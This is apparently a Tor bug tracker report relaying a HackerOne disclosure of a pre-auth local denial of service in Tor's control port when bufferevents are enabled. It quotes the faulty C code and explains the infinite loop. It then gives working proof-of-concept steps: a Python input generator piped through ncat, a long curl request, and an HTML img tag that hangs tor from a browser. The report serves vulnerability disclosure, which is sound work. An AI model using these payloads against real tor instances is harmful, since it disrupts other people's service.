Control connection pre-auth local DoS when bufferevents enabled
Here is another report by Guido Vranken through hackerone. Please credit him appropriately.
BTW, while this is not a serious vulnerability (local DoS), we should consider making it even harder for people to enable bufferevents, or ripping them out completely, if we don't plan to develop them further in the future.
Bug report
In control.c
, this is the loop that retrieves data from the input buffer of the connection, or returns if no complete linefreed-terminated line is available (connection_fetch_from_buf_line() returns 0).
4225 while (1) {
4226 size_t last_idx;
4227 int r;
4228 /* First, fetch a line. */
4229 do {
4230 data_len = conn->incoming_cmd_len - conn->incoming_cmd_cur_len;
4231 r = connection_fetch_from_buf_line(TO_CONN(conn),
4232 conn->incoming_cmd+conn->incoming_cmd_cur_len,
4233 &data_len);
4234 if (r == 0)
4235 /* Line not all here yet. Wait. */
4236 return 0;
4237 else if (r == -1) {
4238 if (data_len + conn->incoming_cmd_cur_len > MAX_COMMAND_LINE_LENGTH) {
4239 connection_write_str_to_buf("500 Line too long.\r\n", conn);
4240 connection_stop_reading(TO_CONN(conn));
4241 connection_mark_and_flush(TO_CONN(conn));
4242 }
4243 while (conn->incoming_cmd_len < data_len+conn->incoming_cmd_cur_len)
4244 conn->incoming_cmd_len *= 2;
4245 conn->incoming_cmd = tor_realloc(conn->incoming_cmd,
4246 conn->incoming_cmd_len);
4247 }
4248 } while (r != 1);
If connection_fetch_from_buf_line() returns -1, this means that the buffer (conn->incoming_cmd) is not large enough. conn->incoming_cmd_len is then increased to a size sufficiently large to hold the incoming command (lines 4243 - 4246). In order for this to work, data_len must be set to this required size by connection_fetch_from_buf_line().
If libevent bufferevents are not enabled, then connection_fetch_from_buf_line() is simply a proxy function for fetch_from_buf_line():
3785 }) ELSE_IF_NO_BUFFEREVENT {
3786 return fetch_from_buf_line(conn->inbuf, data, data_len);
3787 }
This function will indeed set *data_len to the required size if the present buffer size is too small (line 2255):
2241 int
2242 fetch_from_buf_line(buf_t *buf, char *data_out, size_t *data_len)
2243 {
2244 size_t sz;
2245 off_t offset;
2246
2247 if (!buf->head)
2248 return 0;
2249
2250 offset = buf_find_offset_of_char(buf, '\n');
2251 if (offset < 0)
2252 return 0;
2253 sz = (size_t) offset;
2254 if (sz+2 > *data_len) {
2255 *data_len = sz + 2;
2256 return -1;
2257 }
2258 fetch_from_buf(data_out, sz+1, buf);
2259 data_out[sz+1] = '\0';
2260 *data_len = sz+1;
2261 return 1;
2262 }
However, if libevent bufferevents are enabled (by ./configuring tor with --enable-bufferevents), then the code on lines (3770 - 3784) is executed instead:
3765 int
3766 connection_fetch_from_buf_line(connection_t *conn, char *data,
3767 size_t *data_len)
3768 {
3769 IF_HAS_BUFFEREVENT(conn, {
3770 int r;
3771 size_t eol_len=0;
3772 struct evbuffer *input = bufferevent_get_input(conn->bufev);
3773 struct evbuffer_ptr ptr =
3774 evbuffer_search_eol(input, NULL, &eol_len, EVBUFFER_EOL_LF);
3775 if (ptr.pos == -1)
3776 return 0; /* No EOL found. */
3777 if ((size_t)ptr.pos+eol_len >= *data_len) {
3778 return -1; /* Too long */
3779 }
3780 *data_len = ptr.pos+eol_len;
3781 r = evbuffer_remove(input, data, ptr.pos+eol_len);
3782 tor_assert(r >= 0);
3783 data[ptr.pos+eol_len] = '\0';
3784 return 1;
3785 }) ELSE_IF_NO_BUFFEREVENT {
3786 return fetch_from_buf_line(conn->inbuf, data, data_len);
3787 }
3788 }
Following the size check on line 3777, *data_len is not altered and thus remains the same as before the invocation.
For incoming data larger than the initial buffer size (1024 bytes) and contains a linefeed character past 1024 bytes, this sends the control connection input routine into an infinite loop.
Proof of concept
$ ./configure --enable-bufferevents && make -j4
Now start tor with this torrc:
ControlPort 9999
then in another terminal:
$ cat genpoc.py import sys sys.stdout.write((chr(0x63) * 2000) + chr(0x0A) )
$ python genpoc.py >poc $ ncat localhost 9999 <poc
tor now hangs and has to be killed with force (kill -9 ).
Inter-protocol exploit
Since the only two prerequisites of the attack are:
- Input longer than 1024 bytes
- Input contains linefeed character after byte 1024
it's easy to think of other ways of making tor hang than manually creating a connection for this purpose.
$ cat genpoc2.py
print "curl http://localhost:9999/{}".format("x" * 1200)
$ python genpoc2.py >poc.sh
$ bash poc.sh
This also causes tor to hang, because curl is sending this to tor:
GET /xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx HTTP/1.1
User-Agent: curl/7.35.0
Host: localhost:9999
Accept: */*
which is data that adheres to the prerequisites.
Thus, a person running tor with the control server running locally while also using a regular browser can be DoSed via:
html
<img src='http://localhost:9999/xxxxxxxxxxxxxxxxxxx...'>
Guido